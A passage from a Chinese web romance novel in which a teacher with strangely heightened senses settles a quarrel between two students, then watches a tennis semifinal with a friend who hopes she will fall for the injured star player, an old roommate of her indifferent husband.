当天白琼早早处理完手头上的工作,本想着提前去比赛现场等杨清容,结果临走的时候江峤和齐缜又起了摩擦,原因也很奇葩,前者嫌弃后者身上味道太冲让他离自己远一点,后者觉得对方在故意找茬污蔑自己没洗澡,两人一言不合又差点打起来。 看着这学期不知道第几次被叫到办公室的两个问题学生,白琼已经不只是头疼,而是心累了。 她手撑着额头,突然有些佩服王老师竟然能当这么久的班主任而不崩溃,她才上任不到半个月就想跳楼了。 白琼就搞不懂了,江峤是个一点就炸,甚至不点自燃的炮仗,况且他本来就看不惯齐缜,就算没事可能也得找点事,所以会找齐缜麻烦倒也正常,但江峤再怎么找事儿齐缜不接招的话他也拿他没辙,可偏偏这个平时孤僻的谁都不爱搭理的少年每次明知道是坑都要跳进去。 好在在两人动手之前她提前制止了,不然她现在就不是在办公室而是在医务室了。 白琼见他们也没受伤,加上又赶时间就简单口头教育了几句。 “好了,时间也不早了你们先回去吧,都是十七八岁的大孩子了,成熟点,心胸宽阔点,别总是为这些鸡毛蒜皮的小事起冲突,有这些精力不如都放在学习上。尤其是你江峤,这次月考的成绩七门有五门不及格,及格的也是低空飘过,马上就要高考了,多上点心。” 她雨露均沾,又对一旁的齐缜语重心长道:“齐缜你也是,平时挺稳重的,怎么他一激将你就急?他故意找茬你不搭理就是了,群众的眼睛,哦不,鼻子都是雪亮的,他说你身上有味难不成就有味了?大家又不是没有嗅觉。” 一旁的江峤在白琼之前给他们上“政治课”的时候就一直在忍,此刻听到她这话后气急败坏道:“谁激他了,谁乱说了?白老师你再喜欢好学生也不能睁眼说瞎话啊,这么大的味你闻不到吗?” 白琼也无语了,到底谁在睁眼说瞎话啊。 齐缜就在她前面站着,他们距离也就一米多点,这么近要是真的有味她早就闻到了。 白琼觉得这是江峤在没事找事,懒得理会,拎着包就要走,江峤急了。 “不行,你不许走!” 尽管江峤和齐缜发生矛盾的时候大多都是前者先挑事,可他再过分也只是鸡蛋里挑骨头,还从没有造谣生事后。 这一次也不例外。 江峤就搞不懂了,白琼平日里不是挺公平公正的吗,怎么今天却这么偏袒齐缜? 啊,他明白了,是不是离得太远没闻到?有可能,一开始他也没闻到,擦肩而过的时候才觉察到的。 普通的汗臭狐臭也就算了,他捏着鼻子忍忍就过去了,可齐缜身上的味道简直和那些不是一个等级的,并不是臭味,是一股和刺鼻的刺激性的味道,他闻到的瞬间头皮发麻,浑身的汗毛都要竖起来了。 这实在太不对劲了。 一想到以后还会闻到那种味道,江峤整个人都不好了。 所以这件事不能就这么轻易揭过,他必须要让白琼引起重视,最好让齐缜换班,不然这个学校他是一天都待不下去。 可白琼不仅没理会他,反而生怕被他缠上似的越发加快了脚步。 江峤先礼后兵,见她打算把自己无视彻底后干脆一个箭步上前,一把抓住了白琼的手,把人用力往后面拽去。 白琼没想到少年会突然动手,猝不及防往齐缜所在的方向倒去。 齐缜也吓了一跳,下意识想要躲开,但白琼比他动作更快。 人在失去平衡之前通常会就近抓住东西做支撑,很不幸的是齐缜就是那个距离白琼最近的倒霉蛋。 在少年侧身避开之前她抓住了他的手臂,白琼的力气本来就比普通女性要大,最近似乎又变强了不少,人在情急之下很难控制好力道,她这样一抓,齐缜竟然就这样水灵灵被她给拽过来了。 在惯性的作用下他整个人不受控制往白琼那边撞去,一个往前一个往后,原本不远的距离眨眼间就要归零。 他的鼻尖擦到她的鼻尖,慌乱之下一缕薄荷的香气如同一罐打开的可乐,“砰”的一声炸开在她的鼻翼之间。 少年瞳孔一缩,在看到白琼骤然放大在他面前的脸的时候,神情惊恐万状。 白琼也给吓得够呛。 好在千钧一发之际,她另一只手“啪”的撑住了一旁办公桌的桌角,才在两人的嘴唇快要碰上之前停住了。 好险,她的教师资格证差一点就要如奶油一样化开了。 白琼稳住平衡后一连后退了好几步,在齐缜也同样惊魂未定,脸一阵红一阵白,好一会儿才勉强恢复正常。 空气像死一样寂静。 江峤也被神展开给搞得瞠目结舌,许久才找回自己的声音:“那个,我,我不是故意的,我就是想证明我没说谎。” 他不开口还好,一开口则提醒了恍惚中的齐缜他的存在。 少年气得攥紧拳头想要招呼在对方脸上,白琼冷声道:“够了。” 齐缜生生止住了动作,竭力忽略先前的事情,硬邦邦道:“他不仅污蔑我,还对老师动手动脚,你确定要这么算了吗?” 少年的声音透着点儿咬牙切齿的意味,咬肌微动,脸色阴沉,可见真的是气狠了。 白琼也没好哪儿去。 只是她是老师,再生气也不可能直接招呼到江峤这个熊孩子身上。 江峤也知道自己闯祸了,眼神躲闪,不敢和白琼对视,和平时鼻孔朝天,桀骜不驯的样子判若两人。 在白琼死亡凝视之下,他咽了咽口水,少有的服了软:“好了,别用这么可怕的眼神看我我知道错了,检讨也好请家长也罢我都认了,或者你揍我一顿也行,我绝对站着不动不会还一下手的。” 白琼气笑了:“要不是会被吊销教师资格证我早动手了,还用得着你说?” 江峤虽理亏,但又觉得有错也是他和白琼一半一半。 他不是很服气,反驳道:“我是有错,可还不是你不信我在先吗?你刚才凑那么近肯定闻到了吧,我没骗你吧,这家伙身上不知喷了什么,冲得要死,我现在鼻子都还难受着呢。” 江峤揉了揉鼻子,不满地瞪了不远处的齐缜一眼。 白琼的确闻到了,不光闻到了齐缜身上的气息,连同江峤的也闻到了。 正因为如此她更想要爆揍江峤了。 哈,真是乌鸦说猪黑,薄荷再冲还特么能冲过火/药味吗?【】 17、第十七章 白琼的嗅觉从小就很灵敏,灵敏到可以分辨出很多常人无法分辨,甚至难以觉察的气息。 这或许是一种天赋,但她并不觉得有什么特别,毕竟这世上那么多人,有记忆力惊人到过目不忘的,有能够感知成千上万种色彩的四色视者,也有味觉出众到可以品尝出一切食材的人。 和这些能人异士相比,白琼觉得自己鼻子灵敏这一点似乎也没什么特别的。 真要说特别的应该是有着特殊气息的人。 比如顾厌迟。 他身上的味道是白琼二十五年里闻到的最好闻,也是最让人着迷的。 但奇怪的是身边的人中似乎只有她能闻到。 不是有一个说法吗,说喜欢一个人的话会自然而然闻到对方身上的“体香”,这是生理本能,情感因素和生活习惯等各方面综合影响的结果。 白琼那么喜欢顾厌迟,所以能闻到他的气息是一件再正常不过的事——她一直都是这样认为的。 可现在她有些不确定了。 刚才她闻到了齐缜和江峤身上的气息,她不知道别人能不能闻到,但潜意识里一个声音告诉她是一样的,他们的气息和顾厌迟的气息本质上是一样的。 这种莫名其妙的笃定的直觉让白琼有些混乱,她感觉到有什么在脱离掌控,甚至脱离常识在变化着。 她摸了摸脖颈,这里最近总是发热发痒,像有东西要从身体里破出。 仔细想想似乎自己每次出现那奇怪的热潮的时候,都或多或少受到了顾厌迟身上的气息的影响。 “白老师。” 齐缜沉着脸道:“说实话,我已经忍耐到了极点,你走之后我不确保自己会大发慈悲放过他。” 白琼:“……你在通知我?” “不,我的意思是说我可以帮你动手。” 少年面无表情的把指节掰得“咔咔”作响:“你是老师不能打学生,我可以。反正他也是自愿挨打的,你不必有任何心理负担。” “艹,齐缜我艹你大爷的!我是自愿让白老师出气不是自愿让你拳打脚踢!你算个什么东西,也配对老子动手动脚,你……” “够了!” 白琼忍无可忍,一人一个爆栗过去,世界终于安静了。 江峤捂着额头痛的龇牙咧嘴,连视野都模糊了一会儿,有那么瞬间他怀疑自己被对方敲得脑震荡了。 他惊悚地看着白琼,女人身量纤细高挑,手臂上瞧着也没几两肉,力气竟然这么大,之前他一个不慎被齐缜砸到了鼻梁,严重到流鼻血了都没对方这一下来得疼。 齐缜也愣愣站在原地,白净的额头肉眼可见红了一片。 白琼恶声恶气警告:“今天的事情到此为止,你们两个都给我滚回家去,要是事后被我知道你们死灰复燃打起来了我就找绳子把你们面对面绑起来,不是互相看不惯吗,那就在操场上绑一天,让全校师生都来围观你们怎么相亲相爱!” 面对面绑一起,这和抱在一起有什么区别? 齐缜和江峤一想到那个可怕又恶心的画面鸡皮疙瘩都要起来了。 见他们被威慑住了,白琼这才板着脸离开。 女人走后没多久,齐缜突然抬起了手。 “喂,你干什么?要动手吗?!” 江峤见了立刻做好了防御姿态。 齐缜翻了个白眼:“你想多了,虽然你很欠揍,但我更忍受不了和你这种家伙绑在一起。” 江峤明显不信:“那你抬手干什么?” 他碰了下脖颈,在白琼的嘴唇差点碰到自己的时候,有块皮肤突然变得又烫又痒。 而且随着她的靠近有一股香气散了过来。 也不知道她今天喷了什么香水,怪好闻的。 …… 按照原定出发时间本该提前半小时到的白琼,被齐缜江峤两个熊孩子耽搁硬生生变成了踩点。 杨大小姐臭着一张脸道:“你不是说你五点半就出发了吗,害得我紧赶慢赶怕你等久了,结果你竟然比我还晚到,这对吗,这对吗?” 白琼双手合十道歉:“对不起对不起,大小姐我错了,计划赶不上变化,本来我能早点到的,但我学生又差点打起来了,我教育他们耽搁了点时间。” “又?就你上次说的那两个?” 白琼叹气:“对,又是他们两。也不知道江家和齐家是不是有什么世仇,这两个从入学开始就不对付,最近更是跟个火/药桶似的,一个对视都能炸。” 都是上层圈子的,杨清容跟他们不熟,却也在一些宴会上接触过几次,无论是齐缜还是江峤都不是什么好相与的孩子。 尤其是齐缜,江峤混了点,对待长辈倒还能做做表面工夫,齐缜和他那个讨人厌的姑姑一个样,眼睛长头顶上,嘴上说着礼貌客套的话,傲得根本没把人放在眼里。 加上杨清容是圈子里出了名的二世祖,不学无术玩得花,齐缜估计也有所耳闻,面对她的态度肉眼可见的敷衍应付。 “啧,你也是真够倒霉的,这样的臭小子一下摊俩。” “可不是吗,关键是都是得罪不起的主,我除了口头教育教育也做不了什么。” 原本对白琼的姗姗来迟有点生气的女人转变成了对齐缜他们的不爽,在听到白琼这话后又不满了起来。 “你怕什么?他们后面有人撑腰难不成你没有?” 白琼没怎么多想回答道:“厌迟还生我的气呢,再说了我也不想麻烦他。” 杨清容气笑了:“谁说他了?我是说我……” “女士们先生们,这里是第十一届云顶杯青年网球巅峰赛的比赛现场,接下来进行的是男单半决赛——有请双方选手入场!”【】 18、第十八章 杨清容的声音被播报的声音盖住了个十成十,因此白琼并没有听到她说了什么,前者的注意力也被转移了,也没有重复一遍的打算。 托杨大小姐的福,白琼没有跟普通观众在观众席人挤人,而是坐在了视野最好,没有一点遮拦的vip包厢观赛。 定制座椅,酒水食物,华贵奢侈的应有尽有。 白琼虽然自从嫁给顾厌迟后跟着他出席过不少高端场所,宴会应酬,但在进入这个包厢的时候还是有点儿被惊讶到了。 她感慨道:“没想到这年头看个比赛都有单独vip包厢了。” 杨清容从旁边的桌子上拿了块点心咬了一口,嘴里有些含糊说道:“这有什么好稀奇的,有句话怎么说来着,有钱可以为所欲为,只要有钱什么做不到?” “是是是,是小的我没见识,多财多亿的杨大小姐。” 此刻外面传来了潮水一般的欢呼声,杨清容稍微坐直了身子,向来对什么男人都兴致缺缺的眼睛里少有的有了亮光。 白琼顺着她的视线看去,没过一会儿两个选手同时出现在了观众的视野中,杨清容没有告诉她她来看的是他们之中谁的比赛,只说到时候她就知道了。 她也的确立刻就知道了。 不为别的,那个男人一如杨清容所说拥有一张“超正点”的脸。 与其说是超正点,白琼觉得用美的雌雄莫辨来形容更为恰当。 男人身量颀长,距目测应该不低于一米八五,白色的网球服下是毫不逊色其衣料的冷玉一样的肤色,在灯光的映照下透着难以言喻的温润光泽。 一头长发乌黑浓密,用皮筋抓了个高马尾,脸颊两边落下一点不长不短的碎发,浅浅擦在唇角位置,像从发梢上开出的一朵红花。 白琼也不想这样形容,还是用在一个男人身上,只是他的嘴唇实在太红太艳,很难不让她往花上面去联想。 但在看到他手臂和大腿上流畅优美的肌肉线条后,那花又生出了带刺的危险感。 白琼知道自己不应该这样直勾勾盯着一个异性看,她是有夫之妇,她心里眼里只能有顾厌迟一个男人。 可是她没办法移开视线,和杨清容,和场上的观众一样,在男人出现的瞬间她就被吸引了全部的注意力。 “怎么样,好看吧?” 杨清容调侃的声音响起,白琼如梦初醒般略显慌乱地收回目光。 白琼强装镇定喝了口水,低声道:“你的眼光自然是没话说。” 她只肯定杨清容的审美,没有表达自己的看法。 杨清容像是发现了什么有趣的事情,眯了眯眼睛,盯着她看了许久,直到她不自在到手脚都不知道往哪里放才放过她,笑着道:“哎呀,这有什么不好意思承认的,爱美之心人皆有之,这样的绝色尤物只要是有眼睛的都不可能被吸引吧。” “对了,你觉得他和你的亲亲老公比哪个更好看?” 她支着头问道:“你别多想啊,我就随便问问,你也随便回答就行,哪个更好看?嗯?” 白琼手中冰镇的橙汁冰得她手疼,她没有放下,因为莫名的紧张反倒下意识收得更紧了。 “……他们两个都不是同一个类型的,你让我怎么比较?” “呀。” 杨清容捂着嘴,露出一个浮夸的惊讶表情:“我还以为你会想也不想就回答顾厌迟呢,看来他在某种程度上还是挺戳你的审美的,不然你也不会这么难以抉择。” 女人的眼里带着促狭的笑意,白琼要是再看不出自己是被捉弄了就是傻子了。 “杨清容!” “那么大声做什么,我耳朵又不聋。” 白琼了解女人,后知后觉觉察到了所谓带她放松放松无非是找她乐子寻开心。 杨清容却不承认,耸了耸肩:“你怎么能这么想我呢?我就是好奇你怎么看嘛,毕竟我还挺喜欢他的,我有让他当我情人的想法,所以想让你这个好姐妹过来帮我瞧瞧,仅此而已。” 情人。 和白琼这种喜欢上了谁就一心一意的死脑筋不同,杨清容对男人的态度完全是随意到不当回事,除却学生时代交往过几个男朋友,步入社会后的都是没有名分的情人。 偏偏当她情人的也甘之如饴,毕竟杨清容的样貌和身份摆在那里,对方怎么也不吃亏。 而这个叫沈霁的男人,只不过是她盯上的众多猎物之一。 白琼早就见怪不怪了,但像这样被她带过来给她掌眼的情况还是头一次。 用杨清容的话来说,男人嘛,就是个解决生理需求的玩意儿,而玩意儿哪里需要麻烦白琼来把关。 所以白琼更倾向于对方这个所谓的情人不是给她自己找的,而是给她。 这不是恶意揣测,杨清容不止一次半开玩笑半认真说过给她找个情人解决下生理需求,顾厌迟一直不碰她,这么憋着也不是个事。 但说完后见白琼脸一下子黑了下来又火速举手投降说自己只是说着玩的,然后便找别的话题嘻嘻哈哈糊弄过去。 杨清容敏锐地觉察到了女人的脸色不大对劲,意识到她应该是发现了自己的意图,叹了口气,心里暗骂白琼死封建,顾厌迟都那么对她了,她还苦哈哈守着他,换作是她早就各玩各的了。 她恨铁不成钢地“啧”了声:“好了,不说这些有的没的了,比赛开始了,看比赛吧。” vip包厢里不光可以将下面赛场的情况一览无遗,还配备了可以实况直播的高清大屏。 好看的人总是会更容易吸引人的眼球,屏幕上大多数的特写镜头都对准了那个长发男人。 但白琼却全程低着头,没有再分给对方一个眼神。 因为她怕自己的目光会再次不受控地粘在男人身上,即使这只是单纯是人被美好事物吸引的本能。 自从喜欢上顾厌迟之后白琼的眼里就再也装不下别的男人,哪怕对方再优秀再俊美,可这一次似乎不大一样,她产生了动摇,这让白琼感到害怕。 杨清容见白琼全程把注意力放在自己手中的那杯橙汁上,指尖用力到发白,嘴唇也紧抿着,似乎在竭力克制什么。 白琼是一个很好懂的人,什么都写在脸上,即使看不见脸看她的肢体语言也能看出她内心的真实想法。 就比如现在,如果她和自己一样若无其事观看比赛的话杨清容还不至于多想,然而她这副此地无银三百两的样子,无异于在说——“男人,你成功吸引了我的注意力,我对你很感兴趣。” 杨清容缓缓勾起了一个有些玩味的笑容,冷不丁道:“对了,他叫沈霁。” 白琼:“……我知道,刚才播报名字的时候听到了。” “那你知不知道他还是顾厌迟的大学同学兼室友?”【】 19、第十九章 第19章 “那你知不知道他还是顾厌迟的大学同学兼室友?” 杨清容的话让白琼猛地抬头, 脸上错愕的神情显露出她第一次知道的惊讶。 “你果然不知道。” 她随即又改口道:“不,应该说你竟然不知道。” 白琼因为高考前夕发了场高烧导致考试失利没能跟顾厌迟考上同一所大学,但两人都在A城读书, 周末或者没什么课的时候她基本上都会去找顾厌迟。 在那样频繁的往返A大的情况下, 她竟然不知道顾厌迟的室友是谁, 这很难不让杨清容感到意外。 不过沈霁在大二的时候, 也就是顾厌迟和白琼结婚的时候就出国训练去了, 这五年又基本上都在国外打比赛,上个月才回国, 白琼没见过他也正常。 但是杨清容与其说是意外白琼不知道沈霁的存在,倒不如说是惊讶顾厌迟对她的不上心程度。 连杨清容这个外人都知道顾厌迟在大学时期有个无话不谈, 同进同出的好友,作为妻子的白琼却不知道, 这说明他不光压根没打算将她介绍给自己的朋友认识,连好友圈都不愿意让她透露分毫。 她气得把没吃完的点心甩到盘子里。 白琼被吓了一跳:“怎, 怎么了?” “你还问我怎么了,你真是……” 杨清容生气顾厌迟对自家好友的混不在意,更生气白琼竟然为了一个男人把自己搞得这么卑微。 白琼眨了眨眼睛:“清容, 你是在为厌迟向我隐瞒自己的社交圈替我不满吗?” 见杨清容不说话, 白琼知道自己猜对了,心下一暖:“其实你不用因为这种小事生气, 我喜欢的是顾厌迟,我可以为了他跟他的朋友打好关系, 但他不希望我和他们接触那我只需要专注他一个人,这对我来说不仅没影响,反而轻松了不少,你也知道的, 我不是一个擅长社交的人,没准厌迟也不是不想把我介绍给他的朋友们,只是怕我社恐不自在罢了。” 杨清容沉默了很久,把先前没有说完的话说完了。 “……你真是没救了。” 在不知道多少次确定以及肯定自家好友恋爱癌这一可悲的事实后,杨清容同时也更加坚定了一定要将她从被爱情蒙蔽双眼的歧途中掰回来。 世上男人千千万,怎么就非想不开看上顾厌迟这种家伙? 眼光差也就算了,都结婚五年了还没吃上一口,哦不,前两天好像吃上了,不过还是靠药才成功的,且以顾厌迟那高傲的能到天上的自尊心以后白琼能再次得手的几率微乎其微。 也就是说不出意外的话她日后的婚姻只有两个走向,要么守一辈子活寡,要么离婚。 无论是哪个走向都让杨清容很火大。 尤其是后面那个情况,因为白琼那么深爱顾厌迟,离婚也只能是被离婚。 这也是为什么杨清容从不劝白琼离婚,而只执着于给她找情人。 在她看来被离婚还是白琼心死放弃了主动离婚都太便宜顾厌迟这混蛋了。 甚至更可恶的是她这个所谓的报复顾厌迟的想法于他本人而言都不痛不痒,毕竟他并不喜欢白琼。 当然,要说这样做他完全没有影响又并不是那么回事,没有哪个男人会乐意被戴绿帽子,加上白琼的身份,这种给顾家抹黑的事情顾厌迟绝对不会轻易无动于衷。 尽管不大道德,可至少爽了啊。 ——但这也只能想想,以白琼的道德感就算真的不喜欢顾厌迟了也干不出婚内出轨的事情。 况且杨清容也不是真的鼓励白琼出轨,只是替自己的姐妹打抱不平想给顾厌迟添添堵而已。 饶是她都这样退而求其次了,这个报复计划的执行也有两个难题,一是白琼哪怕做样子也不愿意配合,二是她也很难找到能让这个满心满眼都是顾厌迟的恋爱脑动摇的男人。 尽管不是很想承认,她再怎么不爽顾厌迟也没办法在他的容貌上挑毛病,也难怪白琼那么恋爱脑,再怎么生气每天清晨看见那么一张权威的脸估计什么都原谅了。 直到前段时间杨清容偶然在网上看到了沈霁比赛的转播画面—— 如果是沈霁的话,或许有可能。 杨清容承认自己不单单是为了想帮白琼出口气,还存了看热闹不嫌事大的恶趣味,要是白琼真的移情别恋了自己的好友,这对顾厌迟的打击可谓是双重的。 白琼此时已经抬头了,再低下去就有点刻意了,于是尽量装作若无其事的和其他观众一样观看起比赛来。 起初她还能勉强把视线雨露均沾,到后面她的目光完全没办法落在沈霁以外的人身上了。 而且不知道是不是白琼的错觉,她总觉得沈霁很眼熟,好像在哪里见过,只是她确定以及肯定自己以前没有见过对方,要是见过她不可能对这样的男人没有印象。 “你看得懂吗?要不要我找人帮你解说下?” 一旁女人调侃出声。 白琼知道自己盯着沈霁太久被发现了,她尴尬地笑了笑:“还好,上面不是有比分吗?” 说到这里她下意识看了眼实时比分,被上面的比分差很是惊讶,6:1,一局终了。 “他这么厉害的吗?” “诺。” 杨清容没回答,不知从什么地方拿出了一本杂志递过来。 “这本运动杂志开篇就是他的专访,你好奇可以看看。” 白琼接过看了一眼,在看到上面一大串的荣誉奖项后又给吓了一跳。 十六岁拿到了少年组的双打和单打的全国冠军,十八岁以特殊人才被特招进了A大,且文化科的成绩还超了A大录取线五十多分,只比顾厌迟低了五分。 在二十岁那年把国内的所有奖项都拿了个遍后出国深造,又把国际奖项拿了个大满贯,如今归来也才二十五。 这本名叫《体坛周刊》的运动杂志白琼知道,很有名,能被采访的都是很有成绩的运动员,而能出现在开篇专访的含金量更是不用说。 白琼越看越唏嘘,感慨道:“真是文武双全,年少有为,人比人气死人啊。” 杨清容道:“还有更气人的呢,人家不光天赋好成就高,家世也不错,不过比起本小姐还是不怎么够看,但在普通人中这背景已经算得上是人上人的存在了。” “星耀连锁酒店……这是他爸开的啊,好巧,我之前被学校派去邻省学习的时候住的就是这家酒店,环境服务什么都不错,还有一个很大的露天游池,要不是你只住五星级酒店,我都想带你去体验一下。” 把上面的专访大致浏览完后,白琼合上杂志,再次看向赛场上的青年的时候神情有了些许变化,从先前只是单纯被他的容貌吸引变成了欣赏。 杨清容自然没错过她眼中情绪的变化,勾了下唇,正想趁机再说点什么,下一秒白琼又道—— “不愧是厌迟的朋友,和厌迟一样优秀。” 杨清容额头青筋凸起,手指狠戳了下白琼的额头:“厌迟厌迟厌迟,你脑子里除了顾厌迟就没别人了吗?什么叫不愧是顾厌迟的朋友,人家优秀干顾厌迟什么事,那是他自己的本事好吗,你往他脸上贴什么金?” “嘶,疼。” 白琼揉着额头,有些郁闷道:“我哪里往他脸上贴金了,我是在夸那个沈霁。毕竟你也知道厌迟眼光高,他看得上的人屈指可数,所以他能认可沈霁和他成为朋友不就说明他很厉害吗?” “倒是清容……厌迟不就是学生时代搅黄了你一段桃花吗,都这么久过去了,你怎么还这样耿耿于怀。” 后面那番话她说得很小声,偏最近杨清容听力不错,基本上都听到了。 不提还好,提到这里新仇旧恨都涌上来了。 杨清容学生时代和江峤一样是个问题学生,不过她的问题并不在打架斗殴翘课,而在早恋。 她这个早恋还不是那种单纯的少女情窦初开,顺其自然地告白,然后交往,她的流程简单粗暴,看上了就上。 杨清容长相明艳大气,和季青禾一样都属于校花级别的,只要她主动出击的,就没有她拿不下的。 除了一个叫谢颂的一个男生。 说是没拿下也不准确,一开始男生以学生要以学习为重拒绝了她,寻常情况杨清容也就到此为止另换目标了,但那个男生长相实在戳她审美,于是她平生第一次追求异性,死缠烂打到各种送礼物,纯情的小男生哪里受得了这样猛烈的攻势。 眼看着他就要松口答应杨清容的追求,谁知道半路杀出了个顾厌迟。 那个男生是学生会秘书,而学生会主席是顾厌迟,后者很快发现了两人的猫腻,狠狠敲打了一番男生,让差点陷入爱河的男生幡然醒悟。 后头杨清容知道自己的好事被顾厌迟搅黄了十分生气,不仅记恨上了顾厌迟,也记恨上了那个轻易放弃自己的男生。 这件事白琼是事后知道了,虽然杨清容是她好友,但说实话,换作她是顾厌迟,她也会棒打鸳鸯。 那个男生家境贫寒,母亲体弱多病无法工作,妹妹又尚且年幼,家里全靠他父亲一个支撑,可以说读书是他唯一的出路,在那种情况下顾厌迟会干预也是为他好,毕竟不是所有人都像杨清容那样出生就在罗马,就算不努力也能过得很好。 “我不是和你 说过不许提那个家伙吗!” 白琼举手投降:“好好好,我的错,我不该提谢颂。不过你也不要再说厌迟了好吗,我知道你因为他冷落我很不满,你为我打抱不平我很感动,但感情这种事不是我喜欢你你就必须得喜欢我的。你也知道的,这段感情本来就是我强求的,我不能再怨憎他不喜欢我,这太无理取闹了。” 这样类似的话白琼不止一次说过,但每一次她的语气都是苦涩的,神情也黯然低落,杨清容就是看不惯她那副明明受了委屈还为对方辩解的样子,她又没办法责怪白琼,于是就把所有的怒气全都迁怒到了顾厌迟身上。 可这次有些不一样。 她太平静了,语气平静神情也平静,像站在上帝视角的客观分析而不是深陷其中的当事人。 有那么一瞬间杨清容以为白琼放下了对顾厌迟爱而不得的执念,让她生出了对方其实也没多在意男人的想法。 可下一秒她又否定了。 毕竟没有任何人比她更清楚白琼有多爱男人,要是真能放下早就放下了。 “怎么了,干什么这么看着我?对我失望了,生气了?” 白琼伸手去拉杨清容的手,轻摇了摇,带着点儿撒娇的意味:“好清容,不是你说的要带我放松下这段时间不要去想他的事情了吗,怎么我不想你反而一直在提,你到底是想我想还是不想啊?” “哼,少倒打一耙,明明是某人先提的。” 杨清容也没揪着这个事情不放,因为她发现原本还一边倒的比分不知何时出现了变动。 先前还游刃有余,把对方压着打的沈霁开始有些力不从心,大好的开局在后面三局被追平,现在比分到了二比二。 杨清容皱了皱眉,神情很是不悦:“沈霁今天怎么回事,这可不是他的水平。” 赛场上的青年冷白的皮肤染上薄红,胸膛起伏着,弧度不大,这说明他的体力目前距离极限还有一段距离,足以支撑他将正常比赛打完。 从他的面色来看也没有表现得多难受,那张精致得宛若雕塑的脸上平静如湖面,在被连追两局的情况下依旧淡然从容。 这说明并不是体力和实力的问题。 杨清容也排除了这两个因素,眉间的折痕更深了。 “艹,这家伙该不会在打假球吧。” 一想到这个可能她的脸就更黑了。 杨清容今天带白琼来看他的比赛是冲着希望对方能靠那张脸和球技吸引她的关注的,上层圈子里各玩各的多的是,但以白琼的道德观念她是做不出背叛顾厌迟的事情的,且这也不是杨清容真正的目的。 给人戴绿帽子报复人的这种办法前提得是对方也喜欢她,这明显不适用于顾厌迟这种冷清冷血的家伙,杨清容把沈霁拉到了白琼的视野中更多的是希望白琼能移情别恋,让她不要在顾厌迟这一棵树上吊死。 是的,杨清容希望她和顾厌迟离婚。 要找一个颜值和顾厌迟不相上下,能力出众,最重要的是白琼不会排斥接触,甚至愿意主动接触的异性不是一件容易事,杨清容也是花了很长时间,在层层筛选过后才锁定的沈霁。 别的不论,光是他是顾厌迟好友这个身份就是天然的优势了。 不过这好友得加个引号,因为他们早在五年前就闹掰到了老死不相往来的程度,至于原因不得而知。 当然这一点就没必要告诉白琼了。 只是现在看来期望太大,失望也就越大,到底是小门小户出身,眼界太低。 除却顾厌迟,白琼对大多数人都是看重内在比外在更多,被目睹了沈霁打假球现场,他就算长得跟天神一样白琼的好感度也高不起来。 啧,还以为这次能成呢。 到了最后的抢七赛,眼看着沈霁接球的动作越发吃力,杨清容已经没有耐心再看下去了。 “再看下去也只是浪费时间,走吧,我带你去附近的商场逛逛打发下时间。” 杨清容提着包起身要走,然而一旁的人却直勾勾盯着赛场上的男人没有动作。 “白琼?” “再等一下,我想看到最后。” 杨清容不悦道:“假球有什么好看的?” 白琼摇头:“他没有打假球,只是状态不大好。” 状态不好?他从开始到现在连气都没喘几下,对面那个都已经满头大汗了。 杨清容想大约是白琼是之前没看过沈霁比赛,所以对他的实力并没有太直观的感受,这才觉得或许他只是发挥失常而已,但作为考察过对方一段时间的杨清容却再清楚不过,放在以前,哪怕他状态再不好这种对手也不会让他打得这么辛苦。 这也是她拿白琼最无可奈何的一点,她总是把人想得太好,说杨清容有偏见也罢,反正在她看来能和顾厌迟玩在一起的人不可能是什么善茬。 况且星耀酒店那边最近的资金链的确出现了问题…… “他受伤了。” 杨清容被白琼冷不丁的话弄得一愣,画面中的沈霁动作灵活,看不出一点顿涩感,神色也一如既往的平静。 白琼补充道:“右手小臂。” 杨清容盯着青年手臂看了好一会儿,眉头皱得更紧了:“你别不是在蒙我的吧,我怎么没看出来?” 沈霁的皮肤很白,手臂上有任何擦伤就会很明显,但他的身上除了沁了点汗珠外无瑕如雪。 “不是擦伤,是里面,他可能骨头断了……” 白琼说到一半一顿,有些后知后觉地睁大眼睛。 一旁的女人也沉默了:“……你眼睛是X光吗?还自带扫描功能。” 对于杨清容的吐槽白琼张了张嘴,一时之间不知道该怎么解释,干巴巴道:“我如果说我真的能看到你信吗?” 杨清容抱着手臂,一副“你看我脸上写了傻子这两个字吗”的表情。 白琼抓了下头发,组织了下语言道:“我眼睛没有扫描功能,我说的看到了不是真的看到了他的骨骼什么的,我是发现他发力的姿势前后不大一样。” “一开始还很正常,到了后面,尤其是在第三局的时候他挥球的弧度小了点,发球的力道也卸了些,还有他手臂肌肉的变化……” 越说到后面白琼声音越小,最后在杨清容揶揄的眼神下抓了把头发破罐子破摔道:“啊,我真没因为他是厌迟的朋友给他找借口,我是真的觉得他可能受伤了,仅此而已。” “没想到你观察他观察得那么仔细。” 杨清容重新坐了回去,支着下巴道:“行吧,既然你想要看那我就陪你看到最后吧。” 白琼:“……” 她果然没信。 也是,连白琼自己都很意外自己的眼睛竟然能看到那么多细节,以前她的动态视力可没那么好。 不光杨清容不信白琼,赛场上的沈霁要是听到了她的话估计也只会以为对方不过是瞎猫碰上了死耗子蒙对的。 那么利的眼睛,那还是人类吗? 正如白琼所说的那样,沈霁的确受伤了,右手小臂粉碎性骨折,虽然经过了一段时间的治疗已经能自如活动了,但短时间内是不被允许进行高强度运动的。 这件事知道的人不多,除了教练和队员外这个消息对外是全面封锁的,且他们没有任何人劝他退出比赛,反而希望他坚持出场。 没办法,作为云顶杯的热门夺冠选手,无数人是冲着沈霁来看的比赛,又有无数资本在他身上押宝,更重要的一点是,他从始至终也没动过退赛的念头。 不是因为他没办法承担退赛的后果,而是因为没必要。 沈霁掀起眼皮淡淡看了一眼球网对面的对手,然后在对方惊讶的目光下将网球拍换到了左手。 “?!他换手了!” “什么情况?沈霁是左撇子吗 ?” “你们一看就是最近才关注他的吧,沈霁是双刀流,左右手都能用,不过一般用的都是右手,用左手的情况很少。但他的左手要比右手力量更强,球速也要更快,看来这次这个对手实力不俗,竟然把他逼到这个地步。” “……” 沈霁这些年都在国外参加比赛,最近才回国,在国内的知名度相对于老牌运动员而言并不高,观众席上知道他左右手都能使用的都是他的资深球迷,而只有更资深的一些球迷知道他一开始只用右手,练习左手的契机出于一场意外。 到最后反而左手成为了他的惯用手。 虽说眼前的对手实力并不至于把他逼入绝境,但沈霁到底是大意了,还以为在右手到达承受极限之前可以速战速决。 他揉了揉右手手臂,过载的负担让它连抬起都困难,如针扎一样细密的疼痛源源不断,哪怕沈霁忍痛能力很强,面上流露出丝毫痛苦的迹象,但右手颤抖的指尖还是暴露了他此刻明显的不适。 只是这个细微的变化除了白琼没有任何人注意。 